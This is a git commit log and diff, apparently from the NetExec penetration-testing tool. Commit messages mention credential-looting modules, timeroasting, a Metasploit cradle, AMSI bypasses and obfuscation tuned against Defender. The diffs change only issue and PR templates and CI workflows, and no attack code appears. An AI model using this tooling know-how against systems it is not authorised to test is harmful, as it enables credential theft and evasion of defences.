Marshall Hallenbeck 2f098f2420 fix(tests): improve data directory finding so you can run tests in root dir or tests dir and the path names should resolve 2024-05-19 15:17:51 -05:00
Alexander Neff d2760dc287 Added error handling for paramiko internals 2024-05-19 13:06:01 -04:00
Alexander Neff 7cf94d297b Create connection object for every auth request 2024-05-19 12:36:19 -04:00
Alexander Neff 393b607a1b Adding a banner_timeout as this might fix #312 according to https://github.com/paramiko/paramiko/issues/1752#issuecomment-979219861 2024-05-19 08:59:12 -04:00
Alexander Neff a98bfab28d Add timeout to the plaintext login 2024-05-19 08:51:42 -04:00
Alexander Neff 407e707847 Remove --options tests as they dont provide any additional value 2024-05-19 08:48:16 -04:00
Alexander Neff 5e255bc17c Fix brute force tests with cwd path 2024-05-18 21:12:09 -04:00
Alexander Neff 18d519dd68 Disable rdp module and add putty tests 2024-05-18 21:09:24 -04:00
Alexander Neff b3c1e4f5c2 Delete deprecated bh_owned module 2024-05-18 21:08:55 -04:00
Alexander Neff 45b03e78d5 Improve testing and add retries 2024-05-18 21:08:20 -04:00
termanix 763cf57c18 Merge branch 'main' into New_Module_Bitlocker 2024-05-18 19:52:21 +03:00
Marshall Hallenbeck 65a41b8408 Merge branch 'main' into dns 2024-05-17 19:37:10 -05:00
Marshall Hallenbeck 5197a0eaf3 Merge pull request #310 from Pennyw0rth/marshall-pr-template-fix
fix: move PR template to the correct location
2024-05-17 19:26:23 -05:00
Enrico Belgiovine e7d30329ed fix: ruff check 2024-05-18 01:39:27 +02:00
Marshall Hallenbeck e2e0297a3a Merge remote-tracking branch 'XiaoliChan/dns' into pr-196 2024-05-17 19:37:59 -04:00
Marshall Hallenbeck 95ac1af00a fix(wmi): handle Kerberos auth failures and return proper error codes 2024-05-17 19:33:58 -04:00
Alex 078b0ff451 Merge branch 'main' into dns 2024-05-18 01:20:16 +02:00
Marshall Hallenbeck cdd62033ea fix: move PR template to the correct location 2024-05-17 19:14:18 -04:00
Enrico Belgiovine 4143073123 fix: moved display Information out of logic 2024-05-18 01:04:40 +02:00
Enrico Belgiovine a636fb45ae feat: new option to retrieve old hashes 2024-05-18 01:01:45 +02:00
Enrico Belgiovine 56795fc713 feat: timeroast.py implemented as netexec module 2024-05-18 00:43:57 +02:00
termanix 610bad1bae Update bitlocker.py
Signed-off-by: termanix <[email protected]>
2024-05-17 14:18:38 -05:00
termanix 0aaad63819 Update bitlocker.py
Fixed smb error line.

Signed-off-by: termanix <[email protected]>
2024-05-17 14:18:38 -05:00
termanix 406507e8de Update bitlocker.py
Updated according to the new powershell update.


Signed-off-by: termanix <[email protected]>
2024-05-17 14:18:38 -05:00
termanix 6c4e8ead5e Update e2e commands 2024-05-17 14:18:38 -05:00
termanix 5ff488eae5 Fixed ruff checks bitlocker.py
Signed-off-by: termanix <[email protected]>
2024-05-17 14:18:38 -05:00
termanixandAdamkadaban c354978fa1 Update bitlocker.py
Fixed a bug, if bitlockervolume and namespace does not exist.

Co-authored-by: Adamkadaban <[email protected]>

Signed-off-by: termanix <[email protected]>
2024-05-17 14:18:38 -05:00
termanixandAdamkadaban 50ed8279e1 Update bitlocker.py
Co-authored-by: Adamkadaban <[email protected]>

Signed-off-by: termanix <[email protected]>
2024-05-17 14:18:38 -05:00
termanix f55cbf6f23 Update bitlocker.py
Using WMI command

Signed-off-by: termanix <[email protected]>
2024-05-17 14:18:38 -05:00
termanix 219deaf073 BitLocker 2024-05-17 14:18:38 -05:00
Alexander Neff a2d43caa2a Add ldap query option 2024-05-17 13:24:09 -04:00
Marshall Hallenbeck cd088a0bd7 fix(ruff): ignore oneliner alert 2024-05-17 12:25:26 -04:00
Marshall Hallenbeck 736db4dbd7 update force_ps32 if/then for readability (and add Ruff ignore - blame Neff!) 2024-05-17 11:10:05 -04:00
Marshall Hallenbeck 6213c6456d remove blank line 2024-05-17 10:56:54 -04:00
Marshall Hallenbeck 4ae085403d remove excess tab 2024-05-17 10:56:29 -04:00
Marshall Hallenbeck e4925d301d clarify debug message 2024-05-17 10:53:53 -04:00
Marshall Hallenbeck ca3291877a update error when execution is blocked by AMSI 2024-05-17 10:52:57 -04:00
Marshall Hallenbeck 0910b98af6 docs: update options to clarify what certain flags are for 2024-05-17 10:51:52 -04:00
Marshall Hallenbeck aa9b044e7b Merge pull request #308 from Pennyw0rth/marshall-hash-spider-fix
Fix: hash_spider Lsassy Parser syntax
2024-05-17 09:29:27 -05:00
Alexander Neff 34c3c29266 Remove hash_spider setting logging attributes (they are wrong anyway) 2024-05-17 10:19:32 -04:00
Marshall Hallenbeck 730b57248d fix(hash_spider): update calling lsassy Parser since it was changed 4 months ago 2024-05-17 09:28:55 -04:00
Marshall Hallenbeck 98244994b9 tests: add hash spider test db to gitignore 2024-05-17 09:28:31 -04:00
Marshall Hallenbeck 152958ed13 fix: remove restrictions on smb and ldap port choice 2024-05-16 21:09:40 -04:00
Marshall Hallenbeck eb7707a076 refactor(args): update remaining protos to use new default formatter for printing arg defaults 2024-05-16 21:08:44 -04:00
Marshall Hallenbeck 913c760115 tests: re-enable rdp options and fix wmi rdp call 2024-05-16 20:51:39 -04:00
Marshall Hallenbeck c06198807d fix(cli): remove secondary aeskey and kdchost long form options since its not possible to use two 2024-05-16 20:49:32 -04:00
Alex 7b5306c92c Merge branch 'main' into marshall-pwsh-update 2024-05-17 02:24:25 +02:00
Marshall Hallenbeck 66bdcdf1ab fix command exec method group naming 2024-05-16 20:16:44 -04:00
Marshall Hallenbeck b5bc29db25 feat(args): add additional, more pythonic options for cmd args 2024-05-16 20:15:50 -04:00
Marshall Hallenbeck 12141907df feat(smb): show defaults if not None/empty if they are set 2024-05-16 20:13:30 -04:00
Marshall Hallenbeck f021cde6f4 refactor(args): change Authentication to its own arg section and show defaults if set and not None/empty/etc 2024-05-16 20:12:51 -04:00
jubeaz dffd862595 linting 2024-05-17 02:05:57 +02:00
Marshall Hallenbeck e16a66af6d refactor(smb args): update smb arg parsing naming to make sense 2024-05-16 19:51:27 -04:00
Marshall Hallenbeck 70a99a7da5 feat(options): change how args are parsed and passed, allowing --debug, etc to be used anywhere 2024-05-16 18:26:18 -04:00
jubeaz 46574d41f6 Merge branch 'Pennyw0rth:main' into module_wcc_add_defender 2024-05-16 21:22:27 +02:00
Marshall Hallenbeck e3baadb108 Merge pull request #249 from Pennyw0rth/neff-putty
Add PuTTY module and fix WinSCP
2024-05-16 13:44:41 -05:00
mpgn c7c1f06323 Merge pull request #265 from Pennyw0rth/mpgn-patch-1
Update test.yml to include pipx install
2024-05-16 16:46:12 +02:00
mpgn d23669b5d0 Update test.yml
Signed-off-by: mpgn <[email protected]>
2024-05-16 08:53:37 +02:00
mpgn b1b64a8e23 Update test.yml to remove line
Signed-off-by: mpgn <[email protected]>
2024-05-16 08:53:37 +02:00
mpgn c64366068c Update test.yml to include pipx install
#252 

Signed-off-by: mpgn <[email protected]>
2024-05-16 08:53:37 +02:00
Alexander Neff 59c6033bc7 Add proxycreds saving to file 2024-05-15 19:27:04 -04:00
jubeaz 1c965cb5f1 Merge branch 'main' into module_wcc_add_defender 2024-05-15 03:30:38 +02:00
jubeaz 4815249c78 update Defender checks 2024-05-15 03:19:19 +02:00
Alex 94a0b7adad Merge pull request #305 from Pennyw0rth/neff-patch-bloodhound 2024-05-15 02:15:09 +02:00
Alexander Neff faf7f18224 Revert a9bd576392 2024-05-14 20:09:52 -04:00
Alexander Neff a79680aeff Add timestamp to save file 2024-05-14 19:39:42 -04:00
Marshall Hallenbeck a194fda283 Merge pull request #298 from termanix/patch-2
Update e2e_commands.txt
2024-05-14 12:54:03 -05:00
Marshall Hallenbeck 9f61d8ba3b Merge pull request #304 from Pennyw0rth/fix-dependency
fix issue #252
2024-05-14 12:53:48 -05:00
mpgn aff33d677e fix issue #252 2024-05-14 17:09:01 +02:00
jubeaz ae6b659749 Add Defender conf check 2024-05-14 02:31:20 +02:00
Alexander Neff f4bac9b92f Revert logging change to original state 2024-05-12 18:52:34 -04:00
Alexander Neff d644ac1499 Correct comment 2024-05-12 18:46:11 -04:00
Alexander Neff f92f7f585f Merge branch 'main' into dns 2024-05-12 18:44:22 -04:00
Alexander Neff 06e107dd10 Remove "remoteHost" in favour of "host" to keep only one variable, also some formatting 2024-05-12 18:35:05 -04:00
Marshall Hallenbeck 76a01909bb Merge pull request #299 from Pennyw0rth/Marshall-Hallenbeck-patch-1
Create Pull Request Template
2024-05-12 14:48:52 -05:00
Alex c699c6da74 Merge pull request #291 from Pennyw0rth/neff-jitter
Change jitter option to throttle authentications
2024-05-12 20:42:35 +02:00
Sant0rryu 169a7dc148 Update interface.py
Fixed Ruff checks

Signed-off-by: Sant0rryu <[email protected]>
2024-05-12 16:30:25 +02:00
Alex 0cf9d72983 Merge pull request #282 from wumb0/281-multi-file-put 2024-05-12 11:58:37 +02:00
Alex 6c148c6ac8 Merge branch 'main' into neff-putty 2024-05-12 02:56:45 +02:00
Marshall Hallenbeck c56f08704e Merge branch 'main' into marshall-pwsh-update
Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-05-11 19:36:08 -05:00
Alexander Neff 4cc6676e12 Renaming input target variable inside connection object 2024-05-11 18:00:30 -04:00
Alexander Neff f49f890226 Formating and stuff 2024-05-11 15:20:13 -04:00
Marshall Hallenbeck 574afc0d5e Merge branch 'main' into 281-multi-file-put 2024-05-11 11:38:45 -05:00
Marshall Hallenbeck 535a1061b6 Merge pull request #297 from Pennyw0rth/marshall-tests-byid
Feat: Allow for running specific e2e tests by line number
2024-05-10 18:43:12 -05:00
Alexander Neff 93441f2190 Add screenshot section to PR template 2024-05-10 17:41:09 -04:00
Marshall Hallenbeck daede6d00a fix english 2024-05-10 15:52:11 -04:00
Marshall Hallenbeck 5c39381dfc docs: update feature_request.md to include proper template code 2024-05-10 15:51:28 -04:00
Marshall Hallenbeck aedfc37a19 Create pull_request_template.md
Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-05-10 15:44:24 -04:00
Marshall Hallenbeck 0586d844a7 fix(tests): only print failure line if there were failures 2024-05-10 15:30:36 -04:00
termanix 9e68ba5602 Update e2e_commands.txt
WMI moved to after SMB, removed a few flags for now.

Signed-off-by: termanix <[email protected]>
2024-05-10 22:22:02 +03:00
termanix 3b1ca12ef0 Update e2e_commands.txt
Removed bitlocker modules for adding to #286

Signed-off-by: termanix <[email protected]>
2024-05-10 21:57:02 +03:00
Marshall Hallenbeck a5e61bf6ac feat(tests): allow for specifying certain line numbers, allow for printing all failed commands, and properly use single quotes for linux 2024-05-10 14:48:09 -04:00
termanix bb8f30bd9f Update e2e_commands.txt
Added SMB bitlocker module, added WMI some flags and all modules.

Signed-off-by: termanix <[email protected]>
2024-05-10 21:46:58 +03:00
Marshall Hallenbeck 27a0b78a86 tests: add and update tests related to powershell 2024-05-10 11:37:59 -04:00
Marshall Hallenbeck ca74acd1b1 fix(met_inject): simplify metasploit cradle, add logging, and update documentation; related to #223 2024-05-10 11:37:41 -04:00
Marshall Hallenbeck 27014a5b25 feat(powershell): large amount of fixes and improvements
- large amount of debugging added to powershell
- powershell helper refactored to fix obfuscation, running in 32 bit mode, encoding, etc
- turn off obfuscation by default for powershell, since defender picks it up easily
- turn off amsi-bypass by default, since it was an incredibly old signatured bypass (users can still pass in their own)
- check if virus detected in wmiexec
- more error checking for powershell
- update mssql powershell to match smb
- more error checking for mssql queries
- better handling of quotes for powershell queries, since we have almost 4 layers of quoting (python, mssql, cmd, powershell)
2024-05-10 11:32:16 -04:00
Marshall Hallenbeck 90877ddd63 feat(tests): allow for specifying certain line numbers, allow for printing all failed commands, and properly use single quotes for linux 2024-05-10 10:59:40 -04:00
Marshall Hallenbeck 85bcbf312c fix(powershell): fix running via ps32, both with and without obfuscation 2024-05-09 13:06:25 -04:00
Marshall Hallenbeck eb9bf61790 powershell: update powershell parameters, clean up code, and add debugging 2024-05-09 11:58:29 -04:00
Marshall Hallenbeck 2172231729 refactor: remove unnecessary new lines 2024-05-08 14:49:57 -04:00
Alexander Neff f0b2d3984c Add more jitter to e2e tests 2024-05-08 13:59:43 -04:00
Marshall Hallenbeck 04df1e7641 smb: properly obfs or not depending on args 2024-05-08 12:24:57 -04:00
Marshall Hallenbeck e342c3e26f tests: add what was our default amsi bypass for testing 2024-05-08 12:24:37 -04:00
Marshall Hallenbeck b219e8f7e0 pwsh: remove commented code and remove easily detected amsi bypass (default to none) 2024-05-08 12:24:18 -04:00
Alexander Neff 97c729c62d Add jitter to e2e tests 2024-05-08 06:31:16 -04:00
Sant0rryu 3deabf5787 Adding module to retrieve network interfaces info
Signed-off-by: Sant0rryu <[email protected]>
2024-05-07 17:17:14 +02:00
Marshall Hallenbeck 61a2cf1a72 Merge branch 'main' into dns 2024-05-05 17:52:02 -05:00
Alexander Neff a2f856d6c4 Add comments 2024-05-05 17:58:45 -04:00
Alexander Neff 2770a52ed8 Convert jitter into authentication throttle 2024-05-05 17:51:19 -04:00
Marshall Hallenbeck a677b37414 Merge pull request #290 from Pennyw0rth/marshall-fix-logging
Reduce third party debug logging
2024-05-05 12:15:19 -05:00
Alexander Neff 4b4036a5a1 Fixing password decryption length 2024-05-05 12:29:49 -04:00
Alexander Neff 193d49cee9 Add realvnc proxy credential looting 2024-05-05 11:26:46 -04:00
Marshall Hallenbeck 8560f7b921 Merge branch 'main' into dns 2024-05-04 14:30:58 -05:00
Marshall Hallenbeck 0ca3c43f02 fix(logger): set overall logging level to INFO for third party loggers instead of DEBUG when --debug is set 2024-05-03 15:48:49 -04:00
Marshall Hallenbeck 045a9649fd fix(logger): set exc_text to error text if it is none (found via 288) 2024-05-03 15:36:40 -04:00
Alex 25f0b59842 Merge pull request #285 from Pennyw0rth/neff-fix-bin 2024-04-30 20:55:26 +02:00
Alexander Neff d8bd8e14b9 Fix #284 2024-04-30 14:35:30 -04:00
Alexander Neff e1f4759faf Merge main into passwords_dump_update 2024-04-29 17:02:12 -04:00
wumb0 3216380291 Merge branch 'main' into 281-multi-file-put 2024-04-29 13:09:03 -04:00
wumb0 abfd76cf4f remove uneeded logic from put_file and get_file 2024-04-29 09:10:39 -04:00
Alex 4eb9838cfb Merge pull request #283 from Pennyw0rth/Marshall-Hallenbeck-patch-1 2024-04-29 02:48:02 +02:00
Marshall Hallenbeck f1976ac721 Create feature_request.md
add generic feature_request template from https://github.com/go-fed/activity/blob/master/.github/ISSUE_TEMPLATE/feature-request-template.md

Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-04-28 19:32:39 -05:00
wumb0 fe1064b333 also added multi-file get 2024-04-28 12:46:13 -04:00
wumb0 8fb9bc0d75 add multi-file put, keeping compatibiltiy with old format (tuple) -
Pennyw0rth/NetExec#281
2024-04-28 12:39:37 -04:00
Marshall Hallenbeck 52d45116e4 Merge pull request #269 from Pennyw0rth/neff-dependencies
Updating dependencies
2024-04-27 20:01:21 -05:00
Alexander Neff ab5966f8d9 Fix lint error 2024-04-27 18:38:44 -04:00
Alex c2a266923f Merge branch 'main' into neff-dependencies 2024-04-28 00:35:16 +02:00
Alex 62dcc28048 Merge pull request #250 from Pennyw0rth/neff-fix-modules
Fix bug where modules would be the same object across protocols
2024-04-28 00:15:16 +02:00
Marshall Hallenbeck 9a054871c4 Merge pull request #271 from Pennyw0rth/neff-asreproast
Fixing #263
2024-04-27 15:57:36 -05:00
Marshall Hallenbeck 60db63436e Merge pull request #277 from sepauli/sepauli/fix-mssql_priv
fix mssql_priv
2024-04-27 15:37:54 -05:00
Alexander Neff d7918cd655 Fix context logger in different modules 2024-04-27 16:34:11 -04:00
sepauli 4e0b44f6a6 fix extract_password 2024-04-27 22:29:55 +02:00
Alexander Neff 768d462844 Fix context logger in mssql_priv 2024-04-27 08:51:00 -04:00
sepauli a6271cef24 fix is_admin_user function 2024-04-26 23:58:51 +02:00
sepauli fe0ec9c040 fix mssql_priv 2024-04-26 23:29:00 +02:00
Alexander Neff 0d84189d7f Show exception only in debug mode 2024-04-25 15:45:28 -04:00
Alexander Neff 18c3fd0b30 Add msldap to fix #274 2024-04-23 18:16:10 -04:00
Alexander Neff d9ce7a45df Keep backwards compatability with datetime 2024-04-21 16:55:48 -04:00
Alexander Neff f649c04d0d Check if we got a TGT 2024-04-21 11:16:35 -04:00
Alexander Neff 798770479a Remove deprecated utcnow() function, add better exception handling and fix bug where bool instead of None would be returned 2024-04-21 11:10:28 -04:00
Alexander Neff 12779c43f4 Change strings to format strings, to prevent concatination errors 2024-04-21 11:09:46 -04:00
Alexander Neff bc4416d567 Change CRLF to LF to match all other files 2024-04-20 20:03:22 -04:00
Marshall Hallenbeck 84cecd5968 Merge branch 'main' into dns 2024-04-20 13:41:26 -04:00
Alexander Neff 992ddc82b4 Updating dependencies to reflect critically needed packages and current kali installations 2024-04-19 21:39:48 -04:00
Alexander Neff f0fa89b88d Sorting dependencies 2024-04-19 20:58:47 -04:00
Alex 46a97cc3a3 Merge branch 'main' into neff-fix-modules 2024-04-13 02:23:16 +02:00
XiaoliChan b39198aef7 Merge branch 'main' into dns
Signed-off-by: XiaoliChan <[email protected]>
2024-04-12 23:31:35 +08:00
Alexander Neff 60c95ba8f6 Add proxy username and password 2024-04-06 19:55:27 -04:00
Alexander Neff 06415348dc Fix bug where modules would be the same object across protocols 2024-04-06 14:07:05 -04:00
Alex b123a4dc8f Merge branch 'main' into neff-putty 2024-04-05 12:02:37 -04:00
Alexander Neff a03e7720ed Add class annotation and module description 2024-04-05 11:56:25 -04:00
Alexander Neff 4ab7a39d25 Improve Code 2024-04-05 11:53:30 -04:00
Alexander Neff b5b2598995 Clean up code 2024-04-05 11:29:46 -04:00
Alexander Neff b85543d93c Change output formating 2024-04-05 11:21:56 -04:00
Alexander Neff 9b57d62354 Remove conusing example init parameter 2024-04-05 11:20:05 -04:00
Alexander Neff 52dd4fea15 Fix bug when registry for master password check does not exist 2024-04-05 10:56:15 -04:00
Alexander Neff 2f32d18f18 Improve code 2024-04-05 10:47:45 -04:00
Alexander Neff 4b8a44e64b Add putty module 2024-04-05 10:28:43 -04:00
XiaoliChan 393bc40e8c Bug fix
Signed-off-by: XiaoliChan <[email protected]>
2024-04-04 00:23:09 +08:00
XiaoliChan 3f1fa69bdc remove condition
Signed-off-by: XiaoliChan <[email protected]>
2024-04-03 22:55:34 +08:00
XiaoliChan f5bb1fc65f Conflict fix
Signed-off-by: XiaoliChan <[email protected]>
2024-04-03 22:49:37 +08:00
zblurx 1f2a29fb90 update poetry 2024-04-03 15:19:54 +02:00
zblurx 205b31b08a update poetry.lock 2024-04-03 10:44:00 +02:00
zblurx 8a23958bd7 update pyproject.toml 2024-04-03 10:43:18 +02:00
zblurx f00a3ae483 Merge branch 'main' into passwords_dump_update
Signed-off-by: zblurx <[email protected]>
2024-04-03 10:40:50 +02:00
zblurx 6e28e3580d add mobaxterm module 2024-04-03 10:37:24 +02:00
zblurx 5f454a177d fix mremoteng module options 2024-03-28 14:27:33 +01:00
zblurx 7cd29c3833 fixed ruff warnings 2024-03-28 14:07:39 +01:00
zblurx 282ddb6383 update lock file 2024-03-28 14:02:22 +01:00
zblurx bcf4202076 Merge branch 'main' into passwords_dump_update 2024-03-28 13:50:08 +01:00
zblurx f1e273f4c8 add mremoteng 2024-03-28 13:49:00 +01:00
zblurx a6f09e7166 cleanup 2024-03-22 17:44:31 +01:00
zblurx af9dfcfeb5 vnc module working 2024-03-22 17:35:51 +01:00
zblurx e06b28992d fix loot for GoogleRefreshToken 2024-03-21 17:42:12 +01:00
zblurx 0d1b4537a0 update dploot dep 2024-03-21 17:41:50 +01:00
zblurx 5cf6d55679 added sccm module 2024-03-21 17:41:40 +01:00
XiaoliChan 059013a0ab [lib] update impacket
Signed-off-by: XiaoliChan <[email protected]>
2024-03-12 16:36:06 +08:00
XiaoliChan 751544806b Add e2e
Signed-off-by: XiaoliChan <[email protected]>
2024-03-12 10:42:20 +08:00
XiaoliChan 9b8b2e99ec Update kdchost description
Signed-off-by: XiaoliChan <[email protected]>
2024-03-10 18:32:03 +08:00
XiaoliChan 548a5e9228 Update impacket
Signed-off-by: XiaoliChan <[email protected]>
2024-03-10 18:26:40 +08:00
XiaoliChan fc9bf7f4e5 [LDAP] Fix logic with no-smb
Signed-off-by: XiaoliChan <[email protected]>
2024-03-10 14:51:35 +08:00
XiaoliChan 5efa1ef7f0 [LDAP] Fix logic with no-smb
Signed-off-by: XiaoliChan <[email protected]>
2024-03-10 14:40:17 +08:00
XiaoliChan 48be975341 [DNS] Clean SMB
Signed-off-by: XiaoliChan <[email protected]>
2024-03-10 12:46:14 +08:00
XiaoliChan 218518dbb6 [DNS] Clean SMB
Signed-off-by: XiaoliChan <[email protected]>
2024-03-10 12:19:48 +08:00
XiaoliChan 35d3a3d3c1 [DNS] Fix mssql
Signed-off-by: XiaoliChan <[email protected]>

[DNS] Fix mssql

Signed-off-by: XiaoliChan <[email protected]>
2024-03-10 12:03:22 +08:00
XiaoliChan 3dcca25081 Merge remote-tracking branch 'upstream/main' into dns 2024-03-10 09:56:04 +08:00
XiaoliChan 9131e5cf9b Ruff
Signed-off-by: XiaoliChan <[email protected]>
2024-03-10 09:55:50 +08:00
XiaoliChan 2b75ed6784 [DNS] Fix RDP & ldap-checker
Signed-off-by: XiaoliChan <[email protected]>
2024-03-10 09:44:05 +08:00
XiaoliChan 233136ae3e clean up
Signed-off-by: XiaoliChan <[email protected]>
2024-03-10 00:48:38 +08:00
XiaoliChan 55a4486dbe [mmcexec] avoid kerberos auth
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 22:56:39 +08:00
XiaoliChan 43576de135 [DNS] fix dcom
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 22:43:58 +08:00
XiaoliChan b42a7f17f5 [wmi] fix rdp
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 21:40:59 +08:00
XiaoliChan 30dd0cec91 Update impacket version
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 20:56:34 +08:00
XiaoliChan 5fd9e9b9a3 [DNS] Fix mssql
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 18:37:33 +08:00
XiaoliChan 11600f7767 [DNS] Fix wmi
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 01:52:16 -05:00
XiaoliChan 184551ee30 [DNS] Fix module with kerberos
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 01:52:16 -05:00
XiaoliChan 1f4dcdc4e9 [DNS] Add remoteHost variable
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 01:52:16 -05:00
XiaoliChan cd5f8e7e47 [DNS] Add remoteHost variable
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 01:52:16 -05:00
XiaoliChan 3cf689c7f8 [DNS] Add remoteHost variable
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 01:52:16 -05:00
XiaoliChan ee6b74bbb8 [DNS] Ready for kdcHost
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 01:52:16 -05:00
mpgn 8010f10552 fix ruff check 2024-03-09 01:52:16 -05:00
mpgn 05430a679e Set info as info 2024-03-09 01:52:16 -05:00
mpgn 30e9f0f153 Add ldap destination IP to be compatible with dns resolution 2024-03-09 01:52:16 -05:00
XiaoliChan 5fe1d988ea [DNS] Add DNS args
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 01:52:16 -05:00
260 changed files with 29039 additions and 10072 deletions

No files matched your search

+6 -2
View File
@@ -7,6 +7,10 @@ assignees: ''
---
# ❗❗❗ Before filing this bug report, MAKE SURE you have already downloaded the newest version of NetExec from GitHub and installed it! Many issues have already been reported and fixed, _especially_ if you are running the native Kali version! Please delete this line before submitting your issue if you have done so.❗❗❗
**Describe the bug**
A clear and concise description of what the bug is.
@@ -30,8 +34,8 @@ If applicable, add screenshots to help explain your problem.
**NetExec info**
- OS: [e.g. Kali]
- Version of nxc: [e.g. v1.5.2]
- Installed from: apt/github/pip/docker/...? Please try with latest release before openning an issue
- Version of nxc: [e.g. v1.5.2] (run nxc --version and post the _exact_ string that is output)
- Installed from: apt/github/pip/docker/...? Please try with latest release before opening an issue
**Additional context**
Add any other context about the problem here.
+8
View File
@@ -0,0 +1,8 @@
blank_issues_enabled: false
contact_links:
- name: NetExec Wiki
url: https://www.netexec.wiki/
about: Check the wiki for usage guides and documentation before opening an issue.
- name: NetExec Discord
url: https://discord.com/invite/pjwUTQzg8R
about: Join the Discord for general questions and community support.
+18
View File
@@ -0,0 +1,18 @@
---
name: Feature request
about: Request a new feature or enhancement
title: ''
labels: ''
assignees: ''
---
**Please Describe The Problem To Be Solved**
(Replace This Text: Please present a concise description of the problem to be addressed by this feature request. Please be clear what parts of the problem are considered to be in-scope and out-of-scope.)
**(Optional): Suggest A Solution**
(Replace This Text: A concise description of your preferred solution. Things to address include:
* Details of the technical implementation
* Tradeoffs made in design decisions
* Caveats and considerations for the future
If there are multiple solutions, please present each one separately. Save comparisons for the very end.)
+40
View File
@@ -0,0 +1,40 @@
## Description
Please include a summary of the change and which issue is fixed, or what the enhancement does.
List any dependencies that are required for this change.
If you have used AI in any form, please state the tool you used (e.g. Claude Code, Cursor, Amp) along with the extent that the work was AI-assisted. See the project's AI policy for more details: https://github.com/Pennyw0rth/NetExec/blob/main/AI_POLICY.md
## Type of change
Insert an "x" inside the brackets for relevant items (do not delete options)
- [ ] Bug fix (non-breaking change which fixes an issue)
- [ ] New feature (non-breaking change which adds functionality)
- [ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
- [ ] Deprecation of feature or functionality
- [ ] This change requires a documentation update
- [ ] This requires a third party update (such as Impacket, Dploot, lsassy, etc)
- [ ] This PR was created with the assistance of AI (list what type of assistance, tool(s)/model(s) in the description)
## Setup guide for the review
Please provide guidance on what setup is needed to test the introduced changes, such as your locally running machine Python version & OS, as well as the target(s) you tested against, including software versions.
In particular:
- Bug Fix: Please provide a short description on how to trigger the bug, to make the bug reproducable for the reviewer.
- Added Feature/Enhancement: Please specify what setup is needed in order to test the changes, such as:
- Is additional software needed?
- GPO changes required?
- Specific registry settings that need to be changed?
## Screenshots (if appropriate):
Screenshots are always nice to have and can give a visual representation of the change.
If appropriate, include before and after screenshot(s) to show which results are to be expected.
## Checklist:
Insert an "x" inside the brackets for completed and relevant items (do not delete options)
- [ ] I have ran Ruff against my changes (poetry: `poetry run ruff check .`, use `--fix` to automatically fix what it can)
- [ ] I have added or updated the `tests/e2e_commands.txt` file if necessary (new modules or features are _required_ to be added to the e2e tests)
- [ ] If reliant on changes of third party dependencies, such as Impacket, dploot, lsassy, etc, I have linked the relevant PRs in those projects
- [ ] I have linked relevant sources that describes the added technique (blog posts, documentation, etc)
- [ ] I have performed a self-review of my own code (_not_ an AI review)
- [ ] I have commented my code, particularly in hard-to-understand areas
- [ ] I have made corresponding changes to the documentation (PR here: https://github.com/Pennyw0rth/NetExec-Wiki)
+8 -8
View File
@@ -9,29 +9,29 @@ jobs:
runs-on: ${{ matrix.os }}
strategy:
matrix:
os: [ubuntu-latest, macOS-latest, windows-latest]
python-version: ["3.11"]
os: [ubuntu-latest, macOS-latest, macos-26-intel, windows-latest]
python-version: ["3.14"]
#python-version: ["3.8", "3.9", "3.10", "3.11"] # for binary builds we only need one version
steps:
- uses: actions/checkout@v3
- uses: actions/checkout@v4
- name: NetExec set up python on ${{ matrix.os }}
uses: actions/setup-python@v4
uses: actions/setup-python@v5
with:
python-version: ${{ matrix.python-version }}
- name: Build Native Binary
run: |
pip install pyinstaller
pip install pyinstaller pillow
pip install .
pyinstaller netexec.spec
- name: Upload Windows Binary
if: runner.os == 'windows'
uses: actions/upload-artifact@v3
uses: actions/upload-artifact@v4
with:
name: nxc.exe
name: nxc-windows.exe
path: dist/nxc.exe
- name: Upload Nix/OSx Binary
if: runner.os != 'windows'
uses: actions/upload-artifact@v3
uses: actions/upload-artifact@v4
with:
name: nxc-${{ matrix.os }}
path: dist/nxc
+5 -5
View File
@@ -10,11 +10,11 @@ jobs:
strategy:
matrix:
os: [ubuntu-latest, macOS-latest, windows-latest]
python-version: ["3.8", "3.9", "3.10", "3.11"]
python-version: ["3.10", "3.11", "3.12", "3.13", "3.14"]
steps:
- uses: actions/checkout@v3
- uses: actions/checkout@v4
- name: NetExec set up python on ${{ matrix.os }}
uses: actions/setup-python@v4
uses: actions/setup-python@v5
with:
python-version: ${{ matrix.python-version }}
- name: Build Python ZipApp with Shiv
@@ -22,12 +22,12 @@ jobs:
pip install shiv
python build_collector.py
- name: Upload nxc ZipApp
uses: actions/upload-artifact@v3
uses: actions/upload-artifact@v4
with:
name: nxc-zipapp-${{ matrix.os }}-${{ matrix.python-version }}
path: bin/nxc
- name: Upload nxcdb ZipApp
uses: actions/upload-artifact@v3
uses: actions/upload-artifact@v4
with:
name: nxcdb-zipapp-${{ matrix.os }}-${{ matrix.python-version }}
path: bin/nxcdb
+14 -15
View File
@@ -3,28 +3,27 @@ name: Lint Python code with ruff
on:
push:
workflow_dispatch:
pull_request_review:
types: [submitted]
jobs:
lint:
runs-on: ubuntu-latest
if:
github.event_name == 'push' || github.event.pull_request.head.repo.full_name != github.repository
github.event_name == 'push' || github.event.review.state == 'APPROVED' || github.event_name == 'workflow_dispatch'
steps:
- uses: actions/checkout@v3
- name: Install poetry
run: |
pipx install poetry
- name: Set up Python
uses: actions/setup-python@v4
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
- name: Install uv
uses: astral-sh/setup-uv@08807647e7069bb48b6ef5acd8ec9567f424441b # v8.1.0
with:
python-version: 3.11
cache: poetry
cache-dependency-path: poetry.lock
- name: Install dependencies with dev group
run: |
poetry install --with dev
enable-cache: true
- name: Set up Python
run: uv python install 3.14
- name: Install project with dev group
run: uv sync --dev
- name: Run ruff
run: |
poetry run ruff --version
poetry run ruff check . --preview
